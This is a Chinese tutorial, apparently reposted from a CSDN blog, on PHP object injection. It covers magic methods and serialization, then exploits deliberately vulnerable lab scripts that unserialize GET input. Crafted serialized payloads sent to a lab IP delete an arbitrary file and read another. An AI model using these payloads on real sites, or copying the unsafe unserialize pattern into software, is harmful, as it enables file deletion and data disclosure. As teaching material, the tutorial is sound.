PHP对象注入是一个非常常见的漏洞，这个类型的漏洞虽然有些难以利用，但仍旧非常危险。为了理解这个漏洞，请读者具备基础的php知识。类和变量是非常容易理解的php概念。举个例子，1.php在一个类中定义了一个变量和一个方法。它创建了一个对象并且调用了PrintVariable函数，该函数会输出变量variable。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php  
   
class TestClass  
{  
    // 一个变量  
   
    public $variable = 'This is a string';  
   
    // 一个简单的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable;  
    }  
}  
   
// 创建一个对象  
   
$object = new TestClass();  
   
// 调用一个方法  
   
$object->PrintVariable();  
   
?>

php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号开头的，比如 construct, destruct, toString, sleep, wakeup等等。这些函数在某些情况下会自动调用，比如construct当一个对象创建时被调用，destruct当一个对象销毁时被调用，toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的，在2.php中增加了三个magic方法，construct, destruct和toString。可以看出，construct在对象创建时调用，destruct在php脚本结束时调用，__toString在对象被当作一个字符串使用时调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php  
   
class TestClass  
{  
    // 一个变量  
   
    public $variable = 'This is a string';  
   
    // 一个简单的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    // Constructor  
   
    public function __construct()  
    {  
        echo '__construct <br />';  
    }  
   
    // Destructor  
   
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }  
   
    // Call  
   
    public function __toString()  
    {  
        return '__toString<br />';  
    }  
}  
   
// 创建一个对象  
//  __construct会被调用  
   
$object = new TestClass();  
   
// 创建一个方法   
   
$object->PrintVariable();  
   
// 对象被当作一个字符串  
//  __toString会被调用  
   
echo $object;  
   
// End of PHP script  
// 脚本结束__destruct会被调用  
   
?>

php允许保存一个对象方便以后重用，这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中，有可能遇到变量值要跨脚本文件传递的过程。试想，如果为一个脚本中想要调用之前一个脚本的变量，但是前一个脚本已经执行完毕，所有的变量和内容释放掉了，我们要如何操作呢?难道要前一个脚本不断的循环，等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值；unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子，看看php对象序列化之后的格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php    
     
// 某类    
     
class User    
{    
    // 类数据    
     
    public $age = 0;    
    public $name = '';    
     
    // 输出数据    
     
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age    
             . ' years old. <br />';    
    }    
}    
     
// 创建一个对象    
     
$usr = new User();    
     
// 设置数据    
     
$usr->age = 20;    
$usr->name = 'John';    
     
// 输出数据    
     
$usr->PrintData();    
     
// 输出序列化之后的数据    
     
echo serialize($usr);    
     
?>

为了使用这个对象，在4.php中用unserialize重建对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php    
     
// 某类    
     
class User    
{    
    // Class data    
     
    public $age = 0;    
    public $name = '';    
     
    // Print data    
     
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}    
     
// 重建对象    
     
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');    
     
// 调用PrintData 输出数据    
     
$usr->PrintData();    
     
?>

magic函数construct和destruct会在对象创建或者销毁时自动调用；sleep magic方法在一个对象被序列化的时候调用；wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php  
   
class Test  
{  
    public $variable = 'BUZZ';  
    public $variable2 = 'OTHER';  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    public function __construct()  
    {  
        echo '__construct<br />';  
    }  
   
    public function __destruct()  
    {  
        echo '__destruct<br />';  
    }  
   
    public function __wakeup()  
    {  
        echo '__wakeup<br />';  
    }  
   
    public function __sleep()  
    {  
        echo '__sleep<br />';  
   
        return array('variable', 'variable2');  
    }  
}  
   
// 创建对象调用__construct
   
$obj = new Test();  
   
// 序列化对象调用__sleep  
   
$serialized = serialize($obj);  
   
// 输出序列化后的字符串  
   
print 'Serialized: ' . $serialized . '<br />';  
   
// 重建对象调用__wakeup  
   
$obj2 = unserialize($serialized);  
   
// 调用PintVariable输出数据 
   
$obj2->PrintVariable();  
   
// 脚本结束调用__destruct   
   
?>

现在我们了解序列化是如何工作的，但是我们如何利用它呢?有多种可能的方法，取决于应用程序、可用的类和magic函数。记住，序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义wakeup或destruct的类，这些函数会影响Web应用程序。例如，我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php   
   
class LogFile  
{  
    // log文件名  
   
    public $filename = 'error.log';  
   
    // 储存日志文件  
   
    public function LogData($text)  
    {  
        echo 'Log some data: ' . $text . '<br />';  
        file_put_contents($this->filename, $text, FILE_APPEND);  
    }  
   
    // 删除日志文件  
   
    public function __destruct()  
    {  
        echo '__destruct deletes "' . $this->filename . '" file. <br />';  
        unlink(dirname(__FILE__) . '/' . $this->filename);  
    }  
}  
   
?>

这是一个使用它的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php    
     
include 'logfile.php';    
     
// 创建一个对象    
     
$obj = new LogFile();    
     
// 设置文件名和要储存的日志数据    
     
$obj->filename = 'somefile.log';    
$obj->LogData('Test');    
     
// 脚本结束__destruct被调用somefile.log文件被删除  
     
?>

在其它脚本中我们可能找到一个unserialize的调用，并且参数是用户提供的。把下面这段代码保存为test.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
   
include 'logfile.php';  
   
// ... 一些使用LogFile类的代码...  
   
// 简单的类定义  
   
class User  
{  
    // 类数据  
   
    public $age = 0;  
    public $name = '';  
   
    // 输出数据  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建用户输入的数据  
   
$usr = unserialize($_GET['usr_serialized']);  
   
?>

创建利用代码111.php。

1
2
3
4
5
6
7
8
9
10
<?php  

include 'logfile.php';  

$obj = new LogFile();  
$obj->filename = '1.php';  
   
echo serialize($obj) . '<br />';  
   
?>

访问http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}

显示已经删除了1.php。验证一下，果然成功删除了。

这就是漏洞名称的由来：在变量可控并且进行了unserialize操作的地方注入序列化对象，实现代码执行或者其它坑爹的行为。先不谈 wakeup 和 destruct，还有一些很常见的注入点允许你利用这个类型的漏洞，一切都是取决于程序逻辑。举个例子，某用户类定义了一个toString为了让应用程序能够将类作为一个字符串输出(echo $obj)，而且其他类也可能定义了一个类允许toString读取某个文件。把下面这段代码保存为test.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php   
   
// … 一些include ...  
   
class FileClass  
{  
    // 文件名  
   
    public $filename = 'error.log';  
   
    // 当对象被作为一个字符串会读取这个文件  
   
    public function __toString()  
    {  
        return file_get_contents($this->filename);  
    }  
}  
   
// Main User class  
   
class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // 允许对象作为一个字符串输出上面的data  
   
    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 用户可控  
   
$obj = unserialize($_GET['usr_serialized']);  
   
// 输出__toString  
   
echo $obj;  
   
?>

访问http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

但是如果我们用序列化调用FileClass呢?先建立一个1.txt。

创建利用代码123.php。

1
2
3
4
5
6
7
8
9
<?php  
 
include 'test.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
   
echo serialize($fileobj);  
   
?>

访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

成功显示了文本内容。也可以使用其他magic函数：如果对象将调用一个不存在的函数call将被调用；如果对象试图访问不存在的类变量get和__set将被调用。但是利用这种漏洞并不局限于magic函数，在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据，但是其他类可能定义一个从数据库获取数据的get方法，这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件，可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类，但是一些框架或脚本具有自动加载的功能。最大的问题在于人：理解应用程序以能够利用这种类型的漏洞，因为它可能需要大量的时间来阅读和理解代码。

原文链接：http://blog.csdn.net/qq_32400847/article/details/53873275